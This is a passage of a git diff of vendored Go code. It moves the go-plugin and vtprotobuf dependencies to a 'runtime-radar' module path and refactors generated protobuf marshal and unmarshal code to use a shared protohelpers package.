b/vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp_vtproto.pb.go similarity index 59% rename from vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp_vtproto.pb.go rename to vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp_vtproto.pb.go index ee509418..e79fd0f4 100644 --- a/vendor/github.com/knqyf263/go-plugin/types/known/timestamppb/timestamp_vtproto.pb.go +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/timestamppb/timestamp_vtproto.pb.go @@ -6,16 +6,16 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v5.29.3 +// protoc v7.34.1 // source: types/known/timestamppb/timestamp.proto package timestamppb import ( fmt "fmt" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" protoimpl "google.golang.org/protobuf/runtime/protoimpl" io "io" - bits "math/bits" ) const ( @@ -56,29 +56,18 @@ func (m *Timestamp) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Nanos != 0 { - i = encodeVarint(dAtA, i, uint64(m.Nanos)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Nanos)) i-- dAtA[i] = 0x10 } if m.Seconds != 0 { - i = encodeVarint(dAtA, i, uint64(m.Seconds)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Seconds)) i-- dAtA[i] = 0x8 } return len(dAtA) - i, nil } -func encodeVarint(dAtA []byte, offset int, v uint64) int { - offset -= sov(v) - base := offset - for v >= 1<<7 { - dAtA[offset] = uint8(v&0x7f | 0x80) - v >>= 7 - offset++ - } - dAtA[offset] = uint8(v) - return base -} func (m *Timestamp) SizeVT() (n int) { if m == nil { return 0 @@ -86,21 +75,15 @@ func (m *Timestamp) SizeVT() (n int) { var l int _ = l if m.Seconds != 0 { - n += 1 + sov(uint64(m.Seconds)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Seconds)) } if m.Nanos != 0 { - n += 1 + sov(uint64(m.Nanos)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Nanos)) } n += len(m.unknownFields) return n } -func sov(x uint64) (n int) { - return (bits.Len64(x|1) + 6) / 7 -} -func soz(x uint64) (n int) { - return sov(uint64((x << 1) ^ uint64((int64(x) >> 63)))) -} func (m *Timestamp) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 @@ -109,7 +92,7 @@ func (m *Timestamp) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -137,7 +120,7 @@ func (m *Timestamp) UnmarshalVT(dAtA []byte) error { m.Seconds = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -156,7 +139,7 @@ func (m *Timestamp) UnmarshalVT(dAtA []byte) error { m.Nanos = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -170,12 +153,12 @@ func (m *Timestamp) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -190,88 +173,3 @@ func (m *Timestamp) UnmarshalVT(dAtA []byte) error { } return nil } - -func skip(dAtA []byte) (n int, err error) { - l := len(dAtA) - iNdEx := 0 - depth := 0 - for iNdEx < l { - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - wireType := int(wire & 0x7) - switch wireType { - case 0: - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - iNdEx++ - if dAtA[iNdEx-1] < 0x80 { - break - } - } - case 1: - iNdEx += 8 - case 2: - var length int - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - length |= (int(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - if length < 0 { - return 0, ErrInvalidLength - } - iNdEx += length - case 3: - depth++ - case 4: - if depth == 0 { - return 0, ErrUnexpectedEndOfGroup - } - depth-- - case 5: - iNdEx += 4 - default: - return 0, fmt.Errorf("proto: illegal wireType %d", wireType) - } - if iNdEx < 0 { - return 0, ErrInvalidLength - } - if depth == 0 { - return iNdEx, nil - } - } - return 0, io.ErrUnexpectedEOF -} - -var ( - ErrInvalidLength = fmt.Errorf("proto: negative length found during unmarshaling") - ErrIntOverflow = fmt.Errorf("proto: integer overflow") - ErrUnexpectedEndOfGroup = fmt.Errorf("proto: unexpected end of group") -) diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers.go b/vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers.go rename to vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers.go diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers.pb.go b/vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers.pb.go similarity index 99% rename from vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers.pb.go rename to vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers.pb.go index b380f503..f9d8f410 100644 --- a/vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers.pb.go +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers.pb.go @@ -6,7 +6,7 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v5.29.3 +// protoc v7.34.1 // source: types/known/wrapperspb/wrappers.proto package wrapperspb diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers.proto b/vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers.proto similarity index 95% rename from vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers.proto rename to vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers.proto index faca0761..1f4c9204 100644 --- a/vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers.proto +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers.proto @@ -7,7 +7,7 @@ syntax = "proto3"; package google.protobuf; -option go_package = "github.com/knqyf263/go-plugin/types/known/wrapperspb"; +option go_package = "github.com/runtime-radar/go-plugin/types/known/wrapperspb"; // Wrapper message for `double`. // diff --git a/vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers_vtproto.pb.go b/vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers_vtproto.pb.go similarity index 85% rename from vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers_vtproto.pb.go rename to vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers_vtproto.pb.go index 7802cab1..c1663b13 100644 --- a/vendor/github.com/knqyf263/go-plugin/types/known/wrapperspb/wrappers_vtproto.pb.go +++ b/vendor/github.com/runtime-radar/go-plugin/types/known/wrapperspb/wrappers_vtproto.pb.go @@ -6,7 +6,7 @@ // Code generated by protoc-gen-go-plugin. DO NOT EDIT. // versions: // protoc-gen-go-plugin v0.1.0 -// protoc v5.29.3 +// protoc v7.34.1 // source: types/known/wrapperspb/wrappers.proto package wrapperspb @@ -14,10 +14,10 @@ package wrapperspb import ( binary "encoding/binary" fmt "fmt" + protohelpers "github.com/runtime-radar/vtprotobuf/protohelpers" protoimpl "google.golang.org/protobuf/runtime/protoimpl" io "io" math "math" - bits "math/bits" ) const ( @@ -136,7 +136,7 @@ func (m *Int64Value) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Value != 0 { - i = encodeVarint(dAtA, i, uint64(m.Value)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Value)) i-- dAtA[i] = 0x8 } @@ -174,7 +174,7 @@ func (m *UInt64Value) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Value != 0 { - i = encodeVarint(dAtA, i, uint64(m.Value)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Value)) i-- dAtA[i] = 0x8 } @@ -212,7 +212,7 @@ func (m *Int32Value) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Value != 0 { - i = encodeVarint(dAtA, i, uint64(m.Value)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Value)) i-- dAtA[i] = 0x8 } @@ -250,7 +250,7 @@ func (m *UInt32Value) MarshalToSizedBufferVT(dAtA []byte) (int, error) { copy(dAtA[i:], m.unknownFields) } if m.Value != 0 { - i = encodeVarint(dAtA, i, uint64(m.Value)) + i = protohelpers.EncodeVarint(dAtA, i, uint64(m.Value)) i-- dAtA[i] = 0x8 } @@ -333,7 +333,7 @@ func (m *StringValue) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Value) > 0 { i -= len(m.Value) copy(dAtA[i:], m.Value) - i = encodeVarint(dAtA, i, uint64(len(m.Value))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Value))) i-- dAtA[i] = 0xa } @@ -373,24 +373,13 @@ func (m *BytesValue) MarshalToSizedBufferVT(dAtA []byte) (int, error) { if len(m.Value) > 0 { i -= len(m.Value) copy(dAtA[i:], m.Value) - i = encodeVarint(dAtA, i, uint64(len(m.Value))) + i = protohelpers.EncodeVarint(dAtA, i, uint64(len(m.Value))) i-- dAtA[i] = 0xa } return len(dAtA) - i, nil } -func encodeVarint(dAtA []byte, offset int, v uint64) int { - offset -= sov(v) - base := offset - for v >= 1<<7 { - dAtA[offset] = uint8(v&0x7f | 0x80) - v >>= 7 - offset++ - } - dAtA[offset] = uint8(v) - return base -} func (m *DoubleValue) SizeVT() (n int) { if m == nil { return 0 @@ -424,7 +413,7 @@ func (m *Int64Value) SizeVT() (n int) { var l int _ = l if m.Value != 0 { - n += 1 + sov(uint64(m.Value)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Value)) } n += len(m.unknownFields) return n @@ -437,7 +426,7 @@ func (m *UInt64Value) SizeVT() (n int) { var l int _ = l if m.Value != 0 { - n += 1 + sov(uint64(m.Value)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Value)) } n += len(m.unknownFields) return n @@ -450,7 +439,7 @@ func (m *Int32Value) SizeVT() (n int) { var l int _ = l if m.Value != 0 { - n += 1 + sov(uint64(m.Value)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Value)) } n += len(m.unknownFields) return n @@ -463,7 +452,7 @@ func (m *UInt32Value) SizeVT() (n int) { var l int _ = l if m.Value != 0 { - n += 1 + sov(uint64(m.Value)) + n += 1 + protohelpers.SizeOfVarint(uint64(m.Value)) } n += len(m.unknownFields) return n @@ -490,7 +479,7 @@ func (m *StringValue) SizeVT() (n int) { _ = l l = len(m.Value) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n @@ -504,18 +493,12 @@ func (m *BytesValue) SizeVT() (n int) { _ = l l = len(m.Value) if l > 0 { - n += 1 + l + sov(uint64(l)) + n += 1 + l + protohelpers.SizeOfVarint(uint64(l)) } n += len(m.unknownFields) return n } -func sov(x uint64) (n int) { - return (bits.Len64(x|1) + 6) / 7 -} -func soz(x uint64) (n int) { - return sov(uint64((x << 1) ^ uint64((int64(x) >> 63)))) -} func (m *DoubleValue) UnmarshalVT(dAtA []byte) error { l := len(dAtA) iNdEx := 0 @@ -524,7 +507,7 @@ func (m *DoubleValue) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -558,12 +541,12 @@ func (m *DoubleValue) UnmarshalVT(dAtA []byte) error { m.Value = float64(math.Float64frombits(v)) default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -586,7 +569,7 @@ func (m *FloatValue) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -620,12 +603,12 @@ func (m *FloatValue) UnmarshalVT(dAtA []byte) error { m.Value = float32(math.Float32frombits(v)) default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -648,7 +631,7 @@ func (m *Int64Value) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -676,7 +659,7 @@ func (m *Int64Value) UnmarshalVT(dAtA []byte) error { m.Value = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -690,12 +673,12 @@ func (m *Int64Value) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -718,7 +701,7 @@ func (m *UInt64Value) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -746,7 +729,7 @@ func (m *UInt64Value) UnmarshalVT(dAtA []byte) error { m.Value = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -760,12 +743,12 @@ func (m *UInt64Value) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -788,7 +771,7 @@ func (m *Int32Value) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -816,7 +799,7 @@ func (m *Int32Value) UnmarshalVT(dAtA []byte) error { m.Value = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -830,12 +813,12 @@ func (m *Int32Value) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -858,7 +841,7 @@ func (m *UInt32Value) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -886,7 +869,7 @@ func (m *UInt32Value) UnmarshalVT(dAtA []byte) error { m.Value = 0 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -900,12 +883,12 @@ func (m *UInt32Value) UnmarshalVT(dAtA []byte) error { } default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -928,7 +911,7 @@ func (m *BoolValue) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -956,7 +939,7 @@ func (m *BoolValue) UnmarshalVT(dAtA []byte) error { var v int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -971,12 +954,12 @@ func (m *BoolValue) UnmarshalVT(dAtA []byte) error { m.Value = bool(v != 0) default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -999,7 +982,7 @@ func (m *StringValue) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1027,7 +1010,7 @@ func (m *StringValue) UnmarshalVT(dAtA []byte) error { var stringLen uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1041,11 +1024,11 @@ func (m *StringValue) UnmarshalVT(dAtA []byte) error { } intStringLen := int(stringLen) if intStringLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + intStringLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1054,12 +1037,12 @@ func (m *StringValue) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -1082,7 +1065,7 @@ func (m *BytesValue) UnmarshalVT(dAtA []byte) error { var wire uint64 for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1110,7 +1093,7 @@ func (m *BytesValue) UnmarshalVT(dAtA []byte) error { var byteLen int for shift := uint(0); ; shift += 7 { if shift >= 64 { - return ErrIntOverflow + return protohelpers.ErrIntOverflow } if iNdEx >= l { return io.ErrUnexpectedEOF @@ -1123,11 +1106,11 @@ func (m *BytesValue) UnmarshalVT(dAtA []byte) error { } } if byteLen < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } postIndex := iNdEx + byteLen if postIndex < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if postIndex > l { return io.ErrUnexpectedEOF @@ -1139,12 +1122,12 @@ func (m *BytesValue) UnmarshalVT(dAtA []byte) error { iNdEx = postIndex default: iNdEx = preIndex - skippy, err := skip(dAtA[iNdEx:]) + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) if err != nil { return err } if (skippy < 0) || (iNdEx+skippy) < 0 { - return ErrInvalidLength + return protohelpers.ErrInvalidLength } if (iNdEx + skippy) > l { return io.ErrUnexpectedEOF @@ -1159,88 +1142,3 @@ func (m *BytesValue) UnmarshalVT(dAtA []byte) error { } return nil } - -func skip(dAtA []byte) (n int, err error) { - l := len(dAtA) - iNdEx := 0 - depth := 0 - for iNdEx < l { - var wire uint64 - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - wire |= (uint64(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - wireType := int(wire & 0x7) - switch wireType { - case 0: - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - iNdEx++ - if dAtA[iNdEx-1] < 0x80 { - break - } - } - case 1: - iNdEx += 8 - case 2: - var length int - for shift := uint(0); ; shift += 7 { - if shift >= 64 { - return 0, ErrIntOverflow - } - if iNdEx >= l { - return 0, io.ErrUnexpectedEOF - } - b := dAtA[iNdEx] - iNdEx++ - length |= (int(b) & 0x7F) << shift - if b < 0x80 { - break - } - } - if length < 0 { - return 0, ErrInvalidLength - } - iNdEx += length - case 3: - depth++ - case 4: - if depth == 0 { - return 0, ErrUnexpectedEndOfGroup - } - depth-- - case 5: - iNdEx += 4 - default: - return 0, fmt.Errorf("proto: illegal wireType %d", wireType) - } - if iNdEx < 0 { - return 0, ErrInvalidLength - } - if depth == 0 { - return iNdEx, nil - } - } - return 0, io.ErrUnexpectedEOF -} - -var ( - ErrInvalidLength = fmt.Errorf("proto: negative length found during unmarshaling") - ErrIntOverflow = fmt.Errorf("proto: integer overflow") - ErrUnexpectedEndOfGroup = fmt.Errorf("proto: unexpected end of group") -) diff --git a/vendor/github.com/knqyf263/go-plugin/version/version.go b/vendor/github.com/runtime-radar/go-plugin/version/version.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/version/version.go rename to vendor/github.com/runtime-radar/go-plugin/version/version.go diff --git a/vendor/github.com/knqyf263/go-plugin/wasm/host.go b/vendor/github.com/runtime-radar/go-plugin/wasm/host.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/wasm/host.go rename to vendor/github.com/runtime-radar/go-plugin/wasm/host.go diff --git a/vendor/github.com/knqyf263/go-plugin/wasm/plugin.go b/vendor/github.com/runtime-radar/go-plugin/wasm/plugin.go similarity index 96% rename from vendor/github.com/knqyf263/go-plugin/wasm/plugin.go rename to vendor/github.com/runtime-radar/go-plugin/wasm/plugin.go index 689b7833..f2e31ceb 100644 --- a/vendor/github.com/knqyf263/go-plugin/wasm/plugin.go +++ b/vendor/github.com/runtime-radar/go-plugin/wasm/plugin.go @@ -5,6 +5,7 @@ package wasm import ( + "runtime" "unsafe" ) @@ -38,6 +39,9 @@ func Malloc(size uint32) uint32 { func Free(ptr uint32) { // Remove the slice from the allocations map so the GC can reclaim it later. delete(allocations, ptr) + + // Let GC run + runtime.Gosched() } func PtrToByte(ptr, size uint32) []byte { diff --git a/vendor/github.com/knqyf263/go-plugin/wasm/plugin_tinygo.go b/vendor/github.com/runtime-radar/go-plugin/wasm/plugin_tinygo.go similarity index 100% rename from vendor/github.com/knqyf263/go-plugin/wasm/plugin_tinygo.go rename to vendor/github.com/runtime-radar/go-plugin/wasm/plugin_tinygo.go diff --git a/vendor/github.com/planetscale/vtprotobuf/LICENSE b/vendor/github.com/runtime-radar/vtprotobuf/LICENSE similarity index 100% rename from vendor/github.com/planetscale/vtprotobuf/LICENSE rename to vendor/github.com/runtime-radar/vtprotobuf/LICENSE diff --git a/vendor/github.com/planetscale/vtprotobuf/features/marshal/marshalto.go b/vendor/github.com/runtime-radar/vtprotobuf/features/marshal/marshalto.go similarity index 90% rename from vendor/github.com/planetscale/vtprotobuf/features/marshal/marshalto.go rename to vendor/github.com/runtime-radar/vtprotobuf/features/marshal/marshalto.go index 245f3a58..18c1e935 100644 --- a/vendor/github.com/planetscale/vtprotobuf/features/marshal/marshalto.go +++ b/vendor/github.com/runtime-radar/vtprotobuf/features/marshal/marshalto.go @@ -11,8 +11,7 @@ import ( "strconv" "strings" - "github.com/planetscale/vtprotobuf/generator" - + "github.com/runtime-radar/vtprotobuf/generator" "google.golang.org/protobuf/compiler/protogen" "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/reflect/protoreflect" @@ -52,22 +51,6 @@ func (p *marshal) GenerateFile(file *protogen.File) bool { return p.once } -func (p *marshal) GenerateHelpers() { - p.Helper("encodeVarint", func(p *generator.GeneratedFile) { - p.P(`func encodeVarint(dAtA []byte, offset int, v uint64) int {`) - p.P(`offset -= sov(v)`) - p.P(`base := offset`) - p.P(`for v >= 1<<7 {`) - p.P(`dAtA[offset] = uint8(v&0x7f|0x80)`) - p.P(`v >>= 7`) - p.P(`offset++`) - p.P(`}`) - p.P(`dAtA[offset] = uint8(v)`) - p.P(`return base`) - p.P(`}`) - }) -} - func (p *marshal) encodeFixed64(varName ...string) { p.P(`i -= 8`) p.P(p.Ident("encoding/binary", "LittleEndian"), `.PutUint64(dAtA[i:], uint64(`, strings.Join(varName, ""), `))`) @@ -79,7 +62,7 @@ func (p *marshal) encodeFixed32(varName ...string) { } func (p *marshal) encodeVarint(varName ...string) { - p.P(`i = encodeVarint(dAtA, i, uint64(`, strings.Join(varName, ""), `))`) + p.P(`i = `, p.Helper("EncodeVarint"), `(dAtA, i, uint64(`, strings.Join(varName, ""), `))`) } func (p *marshal) encodeKey(fieldNumber protoreflect.FieldNumber, wireType protowire.Type) { @@ -210,7 +193,7 @@ func (p *marshal) field(oneof bool, numGen *counter, field *protogen.Field) { p.P(`var `, total, ` int`) p.P(`for _, num := range m.`, fieldname, ` {`) - p.P(total, ` += sov(uint64(num))`) + p.P(total, ` += `, p.Helper("SizeOfVarint"), `(uint64(num))`) p.P(`}`) p.P(`i -= `, total) @@ -452,7 +435,7 @@ func (p *marshal) field(oneof bool, numGen *counter, field *protogen.Field) { p.P(`var `, total, ` int`) p.P(`for _, num := range m.`, fieldname, ` {`) - p.P(total, ` += soz(uint64(num))`) + p.P(total, ` += `, p.Helper("SizeOfZigzag"), `(uint64(num))`) p.P(`}`) p.P(`i -= `, total) p.P(jvar, `:= i`) @@ -496,7 +479,7 @@ func (p *marshal) field(oneof bool, numGen *counter, field *protogen.Field) { p.P(`var `, total, ` int`) p.P(`for _, num := range m.`, fieldname, ` {`) - p.P(total, ` += soz(uint64(num))`) + p.P(total, ` += `, p.Helper("SizeOfZigzag"), `(uint64(num))`) p.P(`}`) p.P(`i -= `, total) p.P(jvar, `:= i`) @@ -536,7 +519,14 @@ func (p *marshal) field(oneof bool, numGen *counter, field *protogen.Field) { default: panic("not implemented") } - if repeated || nullable { + // Empty protobufs should emit a message or compatibility with Golang protobuf; + // See https://github.com/planetscale/vtprotobuf/issues/61 + if oneof && field.Desc.Kind() == protoreflect.MessageKind && !field.Desc.IsMap() && !field.Desc.IsList() { + p.P("} else {") + p.P("i = protohelpers.EncodeVarint(dAtA, i, 0)") + p.encodeKey(fieldNumber, wireType) + p.P("}") + } else if repeated || nullable { p.P(`}`) } } @@ -580,7 +570,7 @@ func (p *marshal) message(message *protogen.Message) { p.once = true var numGen counter - ccTypeName := message.GoIdent + ccTypeName := message.GoIdent.GoName p.P(`func (m *`, ccTypeName, `) `, p.methodMarshal(), `() (dAtA []byte, err error) {`) p.P(`if m == nil {`) @@ -608,17 +598,23 @@ func (p *marshal) message(message *protogen.Message) { p.P(`_ = i`) p.P(`var l int`) p.P(`_ = l`) - p.P(`if m.unknownFields != nil {`) - p.P(`i -= len(m.unknownFields)`) - p.P(`copy(dAtA[i:], m.unknownFields)`) - p.P(`}`) + + if !p.Wrapper() && !p.ShouldIgnoreUnknownFields(message) { + p.P(`if m.unknownFields != nil {`) + p.P(`i -= len(m.unknownFields)`) + p.P(`copy(dAtA[i:], m.unknownFields)`) + p.P(`}`) + } sort.Slice(message.Fields, func(i, j int) bool { return message.Fields[i].Desc.Number() < message.Fields[j].Desc.Number() }) - marshalForwardOneOf := func(varname string) { - p.P(`size, err := `, varname, `.`, p.methodMarshalToSizedBuffer(), `(dAtA[:i])`) + marshalForwardOneOf := func(varname ...any) { + l := []any{`size, err := `} + l = append(l, varname...) + l = append(l, `.`, p.methodMarshalToSizedBuffer(), `(dAtA[:i])`) + p.P(l...) p.P(`if err != nil {`) p.P(`return 0, err`) p.P(`}`) @@ -632,7 +628,12 @@ func (p *marshal) message(message *protogen.Message) { if !oneof { p.field(false, &numGen, field) } else { - p.P(`if msg, ok := m.`, 